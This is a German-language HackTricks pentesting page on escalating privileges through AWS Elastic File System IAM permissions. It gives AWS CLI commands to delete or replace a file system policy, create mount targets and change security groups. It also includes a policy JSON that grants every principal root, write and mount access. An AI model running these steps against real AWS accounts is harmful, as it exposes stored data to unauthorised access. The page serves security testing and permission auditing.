AWS - EFS Privesc

Unterstütze HackTricks

EFS

Mehr Infos über EFS in:

Denke daran, dass du, um ein EFS zu mounten, in einem Subnetz sein musst, in dem das EFS exponiert ist und Zugang dazu haben musst (Sicherheitsgruppen). Wenn dies der Fall ist, kannst du es standardmäßig immer mounten. Wenn es jedoch durch IAM-Richtlinien geschützt ist, benötigst du die hier genannten zusätzlichen Berechtigungen, um darauf zuzugreifen.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Mit einer dieser Berechtigungen kann ein Angreifer die Dateisystemrichtlinie ändern, um dir Zugang zu gewähren oder sie einfach zu löschen, sodass der Standardzugang gewährt wird.

Um die Richtlinie zu löschen:

aws efs delete-file-system-policy \
--file-system-id <value>

Um es zu ändern:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Mit dieser Berechtigung kann ein Angreifer das EFS einbinden. Wenn die Schreibberechtigung standardmäßig nicht allen gewährt wird, die das EFS einbinden können, hat er nur Lesezugriff.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Die zusätzlichen Berechtigungen elasticfilesystem:ClientRootAccess und elasticfilesystem:ClientWrite können verwendet werden, um in das Dateisystem zu schreiben, nachdem es gemountet wurde, und um auf dieses Dateisystem als root zu zugreifen.

Potenzielle Auswirkungen: Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen im Dateisystem.

elasticfilesystem:CreateMountTarget

Wenn ein Angreifer sich in einem Subnetz befindet, in dem kein Mount-Ziel des EFS existiert, könnte er einfach eins in seinem Subnetz erstellen mit diesem Privileg:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potenzielle Auswirkungen: Indirekte Privilegieneskalation durch Auffinden sensibler Informationen im Dateisystem.

elasticfilesystem:ModifyMountTargetSecurityGroups

In einem Szenario, in dem ein Angreifer feststellt, dass das EFS einen Mount-Ziel in seinem Subnetz hat, aber keine Sicherheitsgruppe den Verkehr erlaubt, könnte er einfach das ändern, indem er die ausgewählten Sicherheitsgruppen modifiziert:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potenzielle Auswirkungen: Indirekte Privilegieneskalation durch Auffinden sensibler Informationen im Dateisystem.

Unterstütze HackTricks

Last updated